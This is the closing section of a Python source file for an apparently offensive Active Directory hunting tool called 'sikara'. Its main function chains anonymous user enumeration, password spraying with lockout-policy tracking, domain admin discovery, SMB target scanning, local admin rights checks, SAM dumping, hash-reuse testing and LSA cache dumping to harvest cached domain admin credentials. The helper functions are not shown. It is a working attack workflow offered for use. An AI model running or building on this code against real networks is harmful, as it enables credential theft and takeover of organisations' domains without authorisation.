649 | raise 650 | 651 | 652 | ## Mind blowing banner rendering 653 | def banner(): 654 | banner = "\n".join([ 655 | '[b][yellow]', 656 | ' _ _ ', 657 | ' ___(_) | ____ _ _ __ __ _ ', 658 | ' / __| | |/ / _` | \'__/ _` |', 659 | ' \\__ \\ | < (_| | | | (_| |', 660 | ' |___/_|_|\\_\\__,_|_| \\__,_|', 661 | '[/yellow]', 662 | ' ░ Active Directory Hunting[/b]', 663 | ' ░ by [blue]@thexon[/blue]\n\n' 664 | ]) 665 | 666 | console.print(banner) 667 | 668 | 669 | ## Makes the magic happen. 670 | def main(): 671 | 672 | global sikaraPath 673 | 674 | try: 675 | banner() 676 | 677 | usage = sys.argv[0] + ' [options] dc_ip' 678 | parser = optparse.OptionParser(usage=usage) 679 | parser.add_option('-u', action="store", help="File containing the list of users if automatic users enumeration failed.", dest="users", default=None) 680 | parser.add_option('-p', action="store", help="Password to test for password spray. Default: test login as password.", dest="password", default=None) 681 | parser.add_option('-d', action="store", help="Domain name if different from default domain on DC.", dest="domain", default=None) 682 | parser.add_option('-t', action="store", help="Subnet to target when enumerating user's rights on machines. Default: subnet /24 of the DC.", dest="targets", default=None) 683 | parser.add_option('-f', action="store", help="File containing targets to enumerate user's rights on machines (one per line). Default: subnet /24 of the DC.", dest="targetsFile", default=None) 684 | options, args = parser.parse_args() 685 | 686 | if len(args) != 1: raise IndexError 687 | 688 | # Checks if DC IP is a valid IPv4 address 689 | dc_ip = str(ipaddress.ip_address(args[0])) 690 | 691 | # Checks if required tools are available 692 | checkTools() 693 | 694 | # Finds domain name 695 | if options.domain: 696 | domain = options.domain 697 | console.print("\n[bold yellow] ░ Using domain [blue]%s[/blue]...[/bold yellow]" % domain) 698 | else: domain = findDomainName(dc_ip) 699 | 700 | # Creates directory for all outputs 701 | createDir(domain) 702 | 703 | # If users file is given, checks its validity and goes to password spray. Else tries to anonymously enumerate users over RPC. 704 | if options.users: 705 | if path.exists(options.users): 706 | usersFile = options.users 707 | console.print("\n[bold yellow] ░ Using file [blue]%s[/blue] for AD users...[/bold yellow]" % usersFile) 708 | else: raise FileNotFoundError 709 | elif enumUser(dc_ip): 710 | usersFile = sikaraPath+'users.txt' 711 | else: 712 | usersFile = sikaraPath+'../common_users.txt' 713 | console.print("[bold yellow] ░ Using file [blue]%s[/blue] to find potential valid users...[/bold yellow]" % usersFile) 714 | 715 | # Checks if FGPP has already been searched before 716 | if path.exists(sikaraPath+'fgpp.lock'): 717 | 718 | fgpp = dict() 719 | with open(sikaraPath+'fgpp.lock', 'r') as fgppFile: 720 | for line in fgppFile: 721 | fgpp['attempts'] = line.strip().split(' / ')[0] 722 | fgpp['window'] = line.strip().split(' / ')[1] 723 | fgpp['lockout'] = line.strip().split(' / ')[2] 724 | 725 | lockoutPolicy = fgpp 726 | 727 | console.print("\n[bold yellow] ░ Previous Fine Grained Password Policy found last time...[/bold yellow]") 728 | console.print("[b][green] [+][/green] [blue]%s[/blue] failed attempts within [blue]%s minutes[/blue] lead to a [blue]%s minutes[/blue] lockout.[/b]" % (fgpp['attempts'], fgpp['window'], fgpp['lockout'])) 729 | 730 | 731 | else: 732 | # Finds domain password policy 733 | lockoutPolicy = findDomainLockoutPolicy(dc_ip) 734 | 735 | # Checks if previous password spray has been done 736 | if lockoutPolicy: checkPasswordSprayCounter(lockoutPolicy) 737 | 738 | # If a password is given, does a password spray with it. Else tries login as password. 739 | if options.password: validUsers = passSprayDictPass(dc_ip, options.password, usersFile, domain) 740 | else: validUsers = passSprayLoginPass(dc_ip, usersFile, domain) 741 | timestampPasswordSpray() 742 | 743 | if validUsers: 744 | 745 | # Finds FGPP for further password sprays, if not already done 746 | if not path.exists(sikaraPath+'fgpp.lock'): 747 | findFGPP(dc_ip, validUsers, domain) 748 | 749 | # Finds domain admins 750 | domainAdmins = findDomainAdmins(dc_ip, validUsers, domain) 751 | 752 | # Checks if users that were found are part of domain admins 753 | if domainAdmins: 754 | for user in validUsers.keys(): 755 | if isDomainAdmin(user, domainAdmins, domain): return 756 | 757 | # If no target is given, finds SMB targets on the DC's subnet. 758 | if options.targetsFile: 759 | if path.exists(options.targetsFile): 760 | targetsFile = options.targetsFile 761 | console.print("\n[bold yellow] ░ Using file [blue]%s[/blue] for targets...[/bold yellow]" % targetsFile) 762 | else: raise FileNotFoundError 763 | elif options.targets: 764 | if ipaddress.ip_network(options.targets): 765 | findSMBTargets(str(ipaddress.ip_network(options.targets))) 766 | targetsFile = sikaraPath+'targets.txt' 767 | else: 768 | findSMBTargets(dc_ip + '/24') 769 | targetsFile = sikaraPath+'targets.txt' 770 | 771 | # If valid users were found, tries to find administrative rights on targets. 772 | localAdminRights = findLocalAdminRights(validUsers, targetsFile, domain) 773 | 774 | if localAdminRights: 775 | 776 | # If admin rights were found, tries to dump the SAM database. 777 | localAdminHashes = dumpSAM(localAdminRights) 778 | 779 | if localAdminHashes: 780 | 781 | # If local admin hash was found, tries to find password reuse on targets 782 | localAdminHashesReused = localAdminPassReuse(localAdminHashes, targetsFile) 783 | 784 | if localAdminHashesReused: 785 | 786 | # If local admin hash is reused on targets, dumps LSA cache to find cached domain admin credentials 787 | dumpLSA(localAdminHashesReused, domainAdmins, domain) 788 | 789 | 790 | except IndexError: 791 | parser.print_help() 792 | sys.exit(1) 793 | except FileNotFoundError: 794 | console.print("[b][red] [-][/red] The file you have provided does not seem to be valid.[/b]\n") 795 | except ValueError as ValErr: 796 | console.print("[b][red] [-][/red] The IP address you have provided does not seem to be valid.[/b]\n") 797 | sys.exit(1) 798 | 799 | 800 | if __name__ == '__main__': 801 | main() --------------------------------------------------------------------------------